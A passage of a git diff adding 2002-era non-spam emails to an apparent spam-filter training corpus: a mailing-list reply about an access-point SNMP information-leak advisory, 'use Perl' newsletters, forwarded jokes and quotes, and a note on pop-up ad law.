misuse of this information. +This advisory may be redistributed, provided that no fee is +assigned and that the advisory is not modified in any way. + + + diff --git a/bayes/spamham/easy_ham_2/01369.88276f6e84725a779b2938a1c14c8082 b/bayes/spamham/easy_ham_2/01369.88276f6e84725a779b2938a1c14c8082 new file mode 100644 index 0000000..9e92fbb --- /dev/null +++ b/bayes/spamham/easy_ham_2/01369.88276f6e84725a779b2938a1c14c8082 @@ -0,0 +1,64 @@ +From vulnwatch-return-433-jm=jmason.org@vulnwatch.org Mon Aug 12 10:52:14 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 5AA66440EA + for ; Mon, 12 Aug 2002 05:50:58 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 10:50:58 +0100 (IST) +Received: from vikki.vulnwatch.org ([199.233.98.101]) by + dogma.slashnull.org (8.11.6/8.11.6) with SMTP id g7A01rb30740 for + ; Sat, 10 Aug 2002 01:01:53 +0100 +Received: (qmail 14097 invoked by alias); 10 Aug 2002 00:21:14 -0000 +Mailing-List: contact vulnwatch-help@vulnwatch.org; run by ezmlm +Precedence: bulk +List-Post: +List-Help: +List-Unsubscribe: +List-Subscribe: +Delivered-To: mailing list vulnwatch@vulnwatch.org +Delivered-To: moderator for vulnwatch@vulnwatch.org +Received: (qmail 20157 invoked from network); 9 Aug 2002 22:48:11 -0000 +Date: Fri, 9 Aug 2002 15:03:33 -0700 +Content-Type: text/plain; charset=US-ASCII; format=flowed +MIME-Version: 1.0 (Apple Message framework v482) +Cc: , +To: "Foundstone Labs" +From: Rob Flickenger +In-Reply-To: <9DC8A3D37E31E043BD516142594BDDFAC476B0@MISSION.foundstone.com> +Message-Id: +Content-Transfer-Encoding: 7bit +X-Mailer: Apple Mail (2.482) +Subject: Re: [VulnWatch] Foundstone Labs Advisory - Information Leakage in Orinoco and Compaq Access Points + +On Friday, August 9, 2002, at 11:12 AM, Foundstone Labs wrote: + +> An information leakage vulnerability exists in Orinoco and Compaq OEM +> access points, disclosing the unique SNMP community string. As a result, +> an attacker can query the community string and gain the ability to +> change system configuration including Wired Equivalent Privacy (WEP) +> keys and Domain Name Service (DNS) information. + +I think this is missing the point a bit... Yes, you can query the SNMP +community string... And yes, it's the default PW (not to mention the +ESSID and last 5 characters of the default WEP key...) But they're all +easily changed, and indeed, it is highly recommended to do so in the +manual. + +Anyone who changes the default settings would not be vulnerable to this +particular SNMP probe. Of course, you can't account for end user +stupidity, but that's beyond the scope of this advisory. ;) + +> Vendor Response: +> +> Both vendors were notified of this issue on July 8th, 2002. According +> to Orinoco, "The Residential Gateway line has been discontinued." + +I've also heard (second hand, but on good authority) that the RG line is +alive and well (hence the recent RG-1100, and the upcoming 802.11a +version...) + +--Rob + + diff --git a/bayes/spamham/easy_ham_2/01370.09e84ff72528ec10760ad8cdba827320 b/bayes/spamham/easy_ham_2/01370.09e84ff72528ec10760ad8cdba827320 new file mode 100644 index 0000000..3be6f1e --- /dev/null +++ b/bayes/spamham/easy_ham_2/01370.09e84ff72528ec10760ad8cdba827320 @@ -0,0 +1,51 @@ +From pudge@perl.org Mon Aug 12 10:56:08 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id AFDBD440F0 + for ; Mon, 12 Aug 2002 05:52:41 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 10:52:41 +0100 (IST) +Received: from cpu59.osdn.com (slashdot.org [64.28.67.73] (may be forged)) + by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7AE56b23523 for + ; Sat, 10 Aug 2002 15:05:06 +0100 +Received: from [10.2.181.14] (helo=perl.org) by cpu59.osdn.com with smtp + (Exim 3.35 #1 (Debian)) id 17dWp0-0003T5-00 for ; + Sat, 10 Aug 2002 10:02:26 -0400 +Date: Sat, 10 Aug 2002 14:02:56 +0000 +From: pudge@perl.org +Subject: [use Perl] Headlines for 2002-08-10 +To: yyyy-use-perl@spamassassin.taint.org +Precedence: list +X-Bulkmail: 2.051 +Message-Id: + +use Perl Daily Headline Mailer + +TPF Announces Newsletter Mailing List, Translations + posted by KM on Friday August 09, @13:03 (links) + http://use.perl.org/article.pl?sid=02/08/09/174257 + +search.cpan.org Out of Beta + posted by KM on Friday August 09, @16:46 (cpan) + http://use.perl.org/article.pl?sid=02/08/09/2046256 + + + + +Copyright 1997-2002 pudge. All rights reserved. + + +====================================================================== + +You have received this message because you subscribed to it +on use Perl. To stop receiving this and other +messages from use Perl, or to add more messages +or change your preferences, please go to your user page. + + http://use.perl.org/my/messages/ + +You can log in and change your preferences from there. + + diff --git a/bayes/spamham/easy_ham_2/01371.15be3e2dbe698ba6468c57e18e93c391 b/bayes/spamham/easy_ham_2/01371.15be3e2dbe698ba6468c57e18e93c391 new file mode 100644 index 0000000..a17103d --- /dev/null +++ b/bayes/spamham/easy_ham_2/01371.15be3e2dbe698ba6468c57e18e93c391 @@ -0,0 +1,97 @@ +From pudge@perl.org Mon Aug 12 10:56:15 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 84825440F1 + for ; Mon, 12 Aug 2002 05:52:43 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 12 Aug 2002 10:52:43 +0100 (IST) +Received: from cpu59.osdn.com (slashdot.org [64.28.67.73] (may be forged)) + by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7AE5Ab23532 for + ; Sat, 10 Aug 2002 15:05:10 +0100 +Received: from [10.2.181.14] (helo=perl.org) by cpu59.osdn.com with smtp + (Exim 3.35 #1 (Debian)) id 17dWp7-0003YG-01 for ; + Sat, 10 Aug 2002 10:02:33 -0400 +Date: Sat, 10 Aug 2002 14:03:03 +0000 +From: pudge@perl.org +Subject: [use Perl] Stories for 2002-08-10 +To: yyyy-use-perl@spamassassin.taint.org +Precedence: list +X-Bulkmail: 2.051 +Message-Id: + +use Perl Daily Newsletter + +In this issue: + * TPF Announces Newsletter Mailing List, Translations + * search.cpan.org Out of Beta + ++--------------------------------------------------------------------+ +| TPF Announces Newsletter Mailing List, Translations | +| posted by KM on Friday August 09, @13:03 (links) | +| http://use.perl.org/article.pl?sid=02/08/09/174257 | ++--------------------------------------------------------------------+ + +[0]gnat writes "We've set up a mailing list for the monthly Perl +Foundation newsletters, and [1]the July newsletter went out on Thursday. +If you donated to YAS and The Perl Foundation, you are already subscribed +at the email address you provided when you donated. If you haven't +donated and want to subscribe, send an empty email message to +foundation-newsletter-subscribe@perl.org (and also consider [2]donating +:-). + +In other newsletter news, we have a [3]French translation of the July +newsletter on the web site. Thanks to mirod (Michel Rodriguez) for making +that happen. Translations into other languages are welcome--please +contact Kevin Meltzer (kevinm AT yetanother.org)." + +I *heart* your translations! + +Discuss this story at: + http://use.perl.org/comments.pl?sid=02/08/09/174257 + +Links: + 0. mailto:gnat@frii.com + 1. http://www.perl-foundation.org/index.cgi?page=newsletter + 2. http://www.perl-foundation.org/index.cgi?page=contrib + 3. http://www.perl-foundation.org/index.cgi?page=fr/tpf-newsletter-0702 + + ++--------------------------------------------------------------------+ +| search.cpan.org Out of Beta | +| posted by KM on Friday August 09, @16:46 (cpan) | +| http://use.perl.org/article.pl?sid=02/08/09/2046256 | ++--------------------------------------------------------------------+ + +[0]gbarr writes "Since announcing the [1]search beta site a OSCON we have +recieved several feedback messages. Some have suggested changes, which we +appriciate and most will be implemented. But many of the messages were +just requesting it to become [2]search.cpan.org. So by popular demand the +switch will happen this weekend." Sweet! + +Discuss this story at: + http://use.perl.org/comments.pl?sid=02/08/09/2046256 + +Links: + 0. mailto:gbarr-tucs@mutatus.co.uk + 1. http://search-beta.cpan.org/ + 2. http://search.cpan.org/ + + + +Copyright 1997-2002 pudge. All rights reserved. + + +====================================================================== + +You have received this message because you subscribed to it +on use Perl. To stop receiving this and other +messages from use Perl, or to add more messages +or change your preferences, please go to your user page. + + http://use.perl.org/my/messages/ + +You can log in and change your preferences from there. + + diff --git a/bayes/spamham/easy_ham_2/01372.ad286bcb58ca265f74e63e8bbbcdcd40 b/bayes/spamham/easy_ham_2/01372.ad286bcb58ca265f74e63e8bbbcdcd40 new file mode 100644 index 0000000..de90c90 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01372.ad286bcb58ca265f74e63e8bbbcdcd40 @@ -0,0 +1,77 @@ +From 0xdeadbeef-request@petting-zoo.net Mon Aug 19 11:00:03 2002 +Return-Path: <0xdeadbeef-request@petting-zoo.net> +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 6D1D94414D + for ; Mon, 19 Aug 2002 05:51:25 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:51:25 +0100 (IST) +Received: from petting-zoo.net (petting-zoo.net [64.166.12.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7IIRg619202 for + ; Sun, 18 Aug 2002 19:27:43 +0100 +Received: by petting-zoo.net (Postfix, from userid 1004) id A21B3EA0A; + Sun, 18 Aug 2002 11:26:10 -0700 (PDT) +Old-Return-Path: +Delivered-To: 0xdeadbeef@petting-zoo.net +Received: from petting-zoo.net (localhost [127.0.0.1]) by petting-zoo.net + (Postfix) with ESMTP id 749DFEA0A; Sun, 18 Aug 2002 11:25:50 -0700 (PDT) +From: gkm@petting-zoo.net (glen mccready) +To: 0xdeadbeef@petting-zoo.net +Cc: bostic@bostic.com +Subject: A pastor walked into a neighborhood pub... +Date: Sun, 18 Aug 2002 11:25:31 -0700 +Sender: gkm@petting-zoo.net +Message-Id: <20020818182550.749DFEA0A@petting-zoo.net> +Resent-Message-Id: +Resent-From: 0xdeadbeef@petting-zoo.net +X-Mailing-List: <0xdeadbeef@petting-zoo.net> archive/latest/521 +X-Loop: 0xdeadbeef@petting-zoo.net +List-Post: +List-Help: +List-Subscribe: +List-Unsubscribe: +Precedence: list +Resent-Sender: 0xdeadbeef-request@petting-zoo.net +Resent-Date: Sun, 18 Aug 2002 11:26:10 -0700 (PDT) + + +Forwarded-by: Rob Windsor +Forwarded-by: LZ + +A pastor walked into a neighborhood pub. The place was hopping +with music and dancing but every once in a while the lights would +turn off. Each time after the lights would go out the place would +erupt into cheers. + +However, when the revelers saw the town pastor, the room went dead +silent. He walked up to the bartender and asked, "May I please +use the restroom?" + +The bartender replied, "I really don't think you should." + +"Why not?" the pastor asked. + +"Well, there is a statue of a naked woman in there, and her most +private part is covered only by a fig leaf." + +"Nonsense," said the pastor, "I'll just look the other way." + +So the bartender showed the clergyman the door at the top of the +stairs, and he proceeded to the restroom. After a few minutes, he +came back out, and the whole place was hopping with music and +dancing again. However, they did stop just long enough to give +the pastor a loud round of applause. He went to the bartender and +said, "Sir, I don't understand. Why did they applaud for me just +because I went to the restroom?" + +"Well, now they know you're one of us," said the bartender. "Would +you like a drink?" + +"But, I still don't understand," said the puzzled pastor. + +"You see," laughed the bartender, "every time the fig leaf is lifted +on the statue, the lights go out in the whole place. Now, how +about that drink?" + + diff --git a/bayes/spamham/easy_ham_2/01373.55c2a7811975ab50ef0a350992d3ad74 b/bayes/spamham/easy_ham_2/01373.55c2a7811975ab50ef0a350992d3ad74 new file mode 100644 index 0000000..5e1141c --- /dev/null +++ b/bayes/spamham/easy_ham_2/01373.55c2a7811975ab50ef0a350992d3ad74 @@ -0,0 +1,97 @@ +From 0xdeadbeef-request@petting-zoo.net Mon Aug 19 11:00:08 2002 +Return-Path: <0xdeadbeef-request@petting-zoo.net> +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id C078143C4C + for ; Mon, 19 Aug 2002 05:51:50 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:51:50 +0100 (IST) +Received: from petting-zoo.net (IDENT:postfix@petting-zoo.net + [64.166.12.219]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g7IIjd619705 for ; Sun, 18 Aug 2002 19:45:40 +0100 +Received: by petting-zoo.net (Postfix, from userid 1004) id 45CE1EA4B; + Sun, 18 Aug 2002 11:31:50 -0700 (PDT) +Old-Return-Path: +Delivered-To: 0xdeadbeef@petting-zoo.net +Received: from petting-zoo.net (localhost [127.0.0.1]) by petting-zoo.net + (Postfix) with ESMTP id 175E2EAE4; Sun, 18 Aug 2002 11:31:24 -0700 (PDT) +From: gkm@petting-zoo.net (glen mccready) +To: 0xdeadbeef@petting-zoo.net +Cc: bostic@bostic.com +Subject: New Medications. +Date: Sun, 18 Aug 2002 11:31:21 -0700 +Sender: gkm@petting-zoo.net +Message-Id: <20020818183124.175E2EAE4@petting-zoo.net> +Resent-Message-Id: <1Jmwk.A.kuD.Sg-X9@petting-zoo.net> +Resent-From: 0xdeadbeef@petting-zoo.net +X-Mailing-List: <0xdeadbeef@petting-zoo.net> archive/latest/522 +X-Loop: 0xdeadbeef@petting-zoo.net +List-Post: +List-Help: +List-Subscribe: +List-Unsubscribe: +Precedence: list +Resent-Sender: 0xdeadbeef-request@petting-zoo.net +Resent-Date: Sun, 18 Aug 2002 11:31:50 -0700 (PDT) + + +Forwarded-by: Rob Windsor +Forwarded-by: "Rich Holland" +Forwarded-by: Diane + +S t . M o m ' s W o r t +Plant extract that treats mom's depression by rendering +preschoolers unconscious for up to six hours. + +E m p t y N e s t r o g e n +Highly effective suppository that eliminates melancholy by +enhancing the memory of how awful they were as teenagers and +how you couldn't wait till they moved out. + +P e p t o b i m b o +Liquid silicone for single women. Two full cups swallowed +before an evening out increases breast size, decreases +intelligence, and improves flirting. + +D u m e r o l +When taken with Peptobimbo, can cause dangerously low I.Q. +causing enjoyment of country western music. + +F l i p i t o r +Increases life expectancy of commuters by controlling road +rage and the urge to flip off other drivers. + +A n t i b o y o t i c s +When administered to teenage girls, is highly effective in +improving grades, freeing up phone lines, and reducing money +spent on make-up. + +M e n i c i l l i n +Potent antiboyotic for older women. Increases resistance to +such lines as, "You make me want to be a better person ... can +we get naked now?" + +B u y a g r a +Injectable stimulant taken prior to shopping. Increases +potency and duration of spending spree. + +E x t r a S t r e n g t h B u y-O n e-A l l +When combined with Buyagra, can cause an indiscriminate +buying frenzy so severe the victim may even come home with a +Donnie Osmond CD or a book by Dr. Laura. + +J a c k A s s p i r i n +Relieves the headache caused by a man who can't remember your +birthday, anniversary or phone number. + +A n t i - t a l k s i d e n t +A spray carried in a purse or wallet to be used on anyone too +eager to share their life stories with total strangers. + +R a g a m e t +When administered to a husband, provides the same irritation +as ragging on him all weekend, saving the wife the time and +trouble of doing it herself. + + diff --git a/bayes/spamham/easy_ham_2/01374.37db86d2e6be10df5e7daf89f16bcd8c b/bayes/spamham/easy_ham_2/01374.37db86d2e6be10df5e7daf89f16bcd8c new file mode 100644 index 0000000..ac53bdd --- /dev/null +++ b/bayes/spamham/easy_ham_2/01374.37db86d2e6be10df5e7daf89f16bcd8c @@ -0,0 +1,78 @@ +From 0xdeadbeef-request@petting-zoo.net Mon Aug 19 11:00:31 2002 +Return-Path: <0xdeadbeef-request@petting-zoo.net> +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 05A7944151 + for ; Mon, 19 Aug 2002 05:52:24 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:52:24 +0100 (IST) +Received: from petting-zoo.net (IDENT:postfix@petting-zoo.net + [64.166.12.219]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g7IJhB621517 for ; Sun, 18 Aug 2002 20:43:11 +0100 +Received: by petting-zoo.net (Postfix, from userid 1004) id D6559EA2E; + Sun, 18 Aug 2002 12:42:26 -0700 (PDT) +Old-Return-Path: +Delivered-To: 0xdeadbeef@petting-zoo.net +Received: from petting-zoo.net (localhost [127.0.0.1]) by petting-zoo.net + (Postfix) with ESMTP id F3200EA2B for <0xdeadbeef@petting-zoo.net>; + Sun, 18 Aug 2002 12:42:00 -0700 (PDT) +From: gkm@petting-zoo.net (glen mccready) +To: 0xdeadbeef@petting-zoo.net +Subject: It's probably illegal to set the background color, too. +Date: Sun, 18 Aug 2002 12:41:58 -0700 +Sender: gkm@petting-zoo.net +Message-Id: <20020818194202.F3200EA2B@petting-zoo.net> +Resent-Message-Id: +Resent-From: 0xdeadbeef@petting-zoo.net +X-Mailing-List: <0xdeadbeef@petting-zoo.net> archive/latest/523 +X-Loop: 0xdeadbeef@petting-zoo.net +List-Post: +List-Help: +List-Subscribe: +List-Unsubscribe: +Precedence: list +Resent-Sender: 0xdeadbeef-request@petting-zoo.net +Resent-Date: Sun, 18 Aug 2002 12:42:26 -0700 (PDT) + + +Forwarded-by: Nev Dull +Forwarded-by: Adam Shand +From: politech@politechbot.com + +Date: Thu, 15 Aug 2002 00:12:27 -0400 +To: declan@well.com +From: Doug Isenberg +Subject: Pop-up ads and the law + + +Declan: + +As you know, a district court judge recently entered a preliminary +injunction against Gator in a lawsuit brought by numerous website news +publishers over Gator's pop-up advertising service. In my most recent +column for The Wall Street Journal Online (now available on GigaLaw.com +at http://www.gigalaw.com/articles/2002/isenberg-2002-08.html), I +examine the potential greater effect of this lawsuit. For example: +"Terence Ross of Gibson, Dunn & Crutcher, the news publishers' attorney, +even told me that he thinks Internet users who configure their browsers +to disable graphics (a common tactic to boost the speed of Web surfing) +are committing copyright infringement because they are interfering with +Web publishers' exclusive right to control how their pages are +displayed." + +Doug Isenberg, Esq. +Author, "The GigaLaw Guide to Internet Law" (Random House, October 2002): +http://www.GigaLaw.com/guide +FREE daily Internet law news via e-mail! Subscribe today: +http://www.GigaLaw.com/news + +------------------------------------------------------------------------- +POLITECH -- Declan McCullagh's politics and technology mailing list +You may redistribute this message freely if you include this notice. +To subscribe to Politech: http://www.politechbot.com/info/subscribe.html +This message is archived at http://www.politechbot.com/ +Declan McCullagh's photographs are at http://www.mccullagh.org/ +------------------------------------------------------------------------- + + diff --git a/bayes/spamham/easy_ham_2/01375.6f00c234834166a104c28ac16b5a2d1b b/bayes/spamham/easy_ham_2/01375.6f00c234834166a104c28ac16b5a2d1b new file mode 100644 index 0000000..8f59866 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01375.6f00c234834166a104c28ac16b5a2d1b @@ -0,0 +1,47 @@ +From 0xdeadbeef-request@petting-zoo.net Mon Aug 19 11:00:32 2002 +Return-Path: <0xdeadbeef-request@petting-zoo.net> +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 8A4A543C55 + for ; Mon, 19 Aug 2002 05:52:25 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:52:25 +0100 (IST) +Received: from petting-zoo.net (petting-zoo.net [64.166.12.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7IJt8621781 for + ; Sun, 18 Aug 2002 20:55:08 +0100 +Received: by petting-zoo.net (Postfix, from userid 1004) id E0861EAD9; + Sun, 18 Aug 2002 12:47:26 -0700 (PDT) +Old-Return-Path: +Delivered-To: 0xdeadbeef@petting-zoo.net +Received: from petting-zoo.net (localhost [127.0.0.1]) by petting-zoo.net + (Postfix) with ESMTP id 0626FEA42 for <0xdeadbeef@petting-zoo.net>; + Sun, 18 Aug 2002 12:47:03 -0700 (PDT) +From: gkm@petting-zoo.net (glen mccready) +To: 0xdeadbeef@petting-zoo.net +Subject: QOTD: Give me a frigging break. +Date: Sun, 18 Aug 2002 12:46:59 -0700 +Sender: gkm@petting-zoo.net +Message-Id: <20020818194704.0626FEA42@petting-zoo.net> +Resent-Message-Id: +Resent-From: 0xdeadbeef@petting-zoo.net +X-Mailing-List: <0xdeadbeef@petting-zoo.net> archive/latest/524 +X-Loop: 0xdeadbeef@petting-zoo.net +List-Post: +List-Help: +List-Subscribe: +List-Unsubscribe: +Precedence: list +Resent-Sender: 0xdeadbeef-request@petting-zoo.net +Resent-Date: Sun, 18 Aug 2002 12:47:26 -0700 (PDT) + + +Forwarded-by: Nev Dull +Forwarded-by: newsletter@tvspy.com + +"Give me a frigging break. I've been a frigging diva for 40 frigging +years." + -- CHER to fans in Las Vegas who booed last weekend when she + told them the performance was part of her last tour. + + diff --git a/bayes/spamham/easy_ham_2/01376.efdd59f2e2f8ea1dab5a2822bfd57793 b/bayes/spamham/easy_ham_2/01376.efdd59f2e2f8ea1dab5a2822bfd57793 new file mode 100644 index 0000000..b19c107 --- /dev/null +++ b/bayes/spamham/easy_ham_2/01376.efdd59f2e2f8ea1dab5a2822bfd57793 @@ -0,0 +1,46 @@ +From 0xdeadbeef-request@petting-zoo.net Mon Aug 19 11:00:38 2002 +Return-Path: <0xdeadbeef-request@petting-zoo.net> +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id F361244152 + for ; Mon, 19 Aug 2002 05:52:26 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:52:27 +0100 (IST) +Received: from petting-zoo.net (IDENT:postfix@petting-zoo.net + [64.166.12.219]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g7IK10621997 for ; Sun, 18 Aug 2002 21:01:00 +0100 +Received: by petting-zoo.net (Postfix, from userid 1004) id 759E4EAFF; + Sun, 18 Aug 2002 12:50:36 -0700 (PDT) +Old-Return-Path: +Delivered-To: 0xdeadbeef@petting-zoo.net +Received: from petting-zoo.net (localhost [127.0.0.1]) by petting-zoo.net + (Postfix) with ESMTP id E224CEAF7 for <0xdeadbeef@petting-zoo.net>; + Sun, 18 Aug 2002 12:50:29 -0700 (PDT) +From: gkm@petting-zoo.net (glen mccready) +To: 0xdeadbeef@petting-zoo.net +Subject: QOTD: Inside me there's a thin woman screaming to get out... +Date: Sun, 18 Aug 2002 12:50:24 -0700 +Sender: gkm@petting-zoo.net +Message-Id: <20020818195030.E224CEAF7@petting-zoo.net> +Resent-Message-Id: +Resent-From: 0xdeadbeef@petting-zoo.net +X-Mailing-List: <0xdeadbeef@petting-zoo.net> archive/latest/525 +X-Loop: 0xdeadbeef@petting-zoo.net +List-Post: +List-Help: +List-Subscribe: +List-Unsubscribe: +Precedence: list +Resent-Sender: 0xdeadbeef-request@petting-zoo.net +Resent-Date: Sun, 18 Aug 2002 12:50:36 -0700 (PDT) + + +Forwarded-by: Nev Dull +Forwarded-by: "KOLE,JOHN P (HP-FtCollins,ex1)" +From: Bell Lori [mailto:loribell01@yahoo.com] + +Inside me there's a thin woman screaming to get out -- +But I can usually shut the bitch up with some chocolate. + + diff --git a/bayes/spamham/easy_ham_2/01377.349d629be608a9445fa9c605bd12532b b/bayes/spamham/easy_ham_2/01377.349d629be608a9445fa9c605bd12532b new file mode 100644 index 0000000..1bc12ab --- /dev/null +++ b/bayes/spamham/easy_ham_2/01377.349d629be608a9445fa9c605bd12532b @@ -0,0 +1,107 @@ +From 0xdeadbeef-request@petting-zoo.net Mon Aug 19 11:01:11 2002 +Return-Path: <0xdeadbeef-request@petting-zoo.net> +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id D96054417D + for ; Mon, 19 Aug 2002 05:53:09 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Mon, 19 Aug 2002 10:53:09 +0100 (IST) +Received: from petting-zoo.net (IDENT:postfix@petting-zoo.net + [64.166.12.219]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g7IMJT626443 for ; Sun, 18 Aug 2002 23:19:29 +0100 +Received: by petting-zoo.net (Postfix, from userid 1004) id 7A865EA4B; + Sun, 18 Aug 2002 15:18:18 -0700 (PDT) +Old-Return-Path: +Delivered-To: 0xdeadbeef@petting-zoo.net +Received: from petting-zoo.net (localhost [127.0.0.1]) by petting-zoo.net + (Postfix) with ESMTP id 28081EA0A; Sun, 18 Aug 2002 15:18:08 -0700 (PDT) +From: gkm@petting-zoo.net (glen mccready) +To: 0xdeadbeef@petting-zoo.net +Cc: bostic@bostic.com +Subject: The Beer Scooter +Date: Sun, 18 Aug 2002 15:18:04 -0700 +Sender: gkm@petting-zoo.net +Message-Id: <20020818221808.28081EA0A@petting-zoo.net> +Resent-Message-Id: +Resent-From: 0xdeadbeef@petting-zoo.net +X-Mailing-List: <0xdeadbeef@petting-zoo.net> archive/latest/526 +X-Loop: 0xdeadbeef@petting-zoo.net +List-Post: +List-Help: +List-Subscribe: +List-Unsubscribe: +Precedence: list +Resent-Sender: 0xdeadbeef-request@petting-zoo.net +Resent-Date: Sun, 18 Aug 2002 15:18:18 -0700 (PDT) + + +[I'm sure somebody will tell me about the original source; it's in a +number of places on the web. -gkm] + +Forwarded-by: Colin Burgess + +The Beer Scooter + +How many times have you woken up in the morning after a hard night +drinking and thought 'How on earth did I get home? As hard as you +try, you cannot piece together your return journey from the pub to +your house. The answer to this puzzle is that you used a Beer +Scooter. + +The Beer Scooter is a mythical form of transport, owned and leased +to the drunk by Bacchus the Roman god of wine. Bacchus has branched +out since the decrease in the worship of the Roman Pantheon and +has bought a large batch of these magical devices. The Beer Scooter +works in the following fashion:- + +The passenger reaches a certain level of drunkenness and the +"slurring gland" begins to give off a pheromone. Bacchus or one of +his many sub-contractors detects this pheromone and sends down a +winged Beer Scooter. The scooter scoops up the passenger and deposits +them in their bedroom via the Trans-Dimensional Portal. This is +not cheap to run, so a large portion of the passenger's in-pocket +cash is taken as payment. + +This answers the second question after a night out 'How did I spend +so much money?' + +Unfortunately, Beer Scooters have a poor safety record and are +thought to be responsible for over 90% of all UDI (Unidentified +Drinking Injuries). An undocumented feature of the beer scooter +is the destruction of time segments during the trip. The nature of +Trans-Dimensional Portals dictates that time will be lost, seemingly +unaccounted for. + +This answers a third question after a night out 'What the hell +happened?' + +With good intentions, Bacchus opted for the REMIT (Removal of +Embarrassing Moments In Time) add on, that automatically removes, +in descending order, those parts in time regretted most. Unfortunately +one person's REMIT is not necessarily the REMIT of another and +quite often lost time is regained in discussions over a period of +time. Independent studies have also shown that Beer Goggles often +cause the scooter's navigation system to malfunction thus sending +the passenger to the wrong bedroom, often with horrific consequences. +With recent models including a GPS, Bacchus made an investment in +a scooter drive-thru chain specialising in half eaten kebabs and +pizza crusts. + +Another question answered!! For the family man, Beer Scooters come +equipped with flowers picked from other people's garden and +Thump-A-Lot boots (Patent Pending). These boots are designed in +such a way that no matter how quietly you tip-toe up the stairs, +you are sure to wake up your other half. Special anti-gravity +springs ensure that you bump into every wall in the house and the +CTSGS (Coffee Table Seeking Guidance System) explains the bruised +shins. The final add-on Bacchus saw fit to invest in for some +scooters is the TAS (Tobacco Absorption System). This explains how +one person can apparently get through 260 Marlboro Lights in a +single night. + +PS: Don't forget the on-board heater, which allows you to comfortably +get home from the pub in sub-zero temperatures, wearing just a +T-shirt. + + diff --git a/bayes/spamham/easy_ham_2/01378.363deaa0f90db14de13a4a676703826d b/bayes/spamham/easy_ham_2/01378.363deaa0f90db14de13a4a676703826d new file mode 100644 index 0000000..9fb2d5f --- /dev/null +++ b/bayes/spamham/easy_ham_2/01378.363deaa0f90db14de13a4a676703826d @@ -0,0 +1,72 @@ +From 0xdeadbeef-request@petting-zoo.net Tue Aug 20 10:58:25 2002 +Return-Path: <0xdeadbeef-request@petting-zoo.net> +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id D95B943C34 + for ; Tue, 20 Aug 2002 05:58:07 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 20 Aug 2002 10:58:07 +0100 (IST) +Received: from petting-zoo.net (petting-zoo.net [64.166.12.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g7JKf4Z08278 for + ; Mon, 19 Aug 2002 21:41:04 +0100 +Received: by petting-zoo.net (Postfix, from userid 1004) id A41EDEA45; + Mon, 19 Aug 2002 13:40:32 -0700 (PDT) +Old-Return-Path: +Delivered-To: 0xdeadbeef@petting-zoo.net +Received: from petting-zoo.net (localhost [127.0.0.1]) by petting-zoo.net + (Postfix) with ESMTP id EE756EA0A for <0xdeadbeef@petting-zoo.net>; + Mon, 19 Aug 2002 13:40:28 -0700 (PDT) +From: gkm@petting-zoo.net (glen mccready) +To: 0xdeadbeef@petting-zoo.net +Subject: JOTD: Sean Connery three times a night. +Date: Mon, 19 Aug 2002 13:40:28 -0700 +Sender: gkm@petting-zoo.net +Message-Id: <20020819204029.EE756EA0A@petting-zoo.net> +Resent-Message-Id: 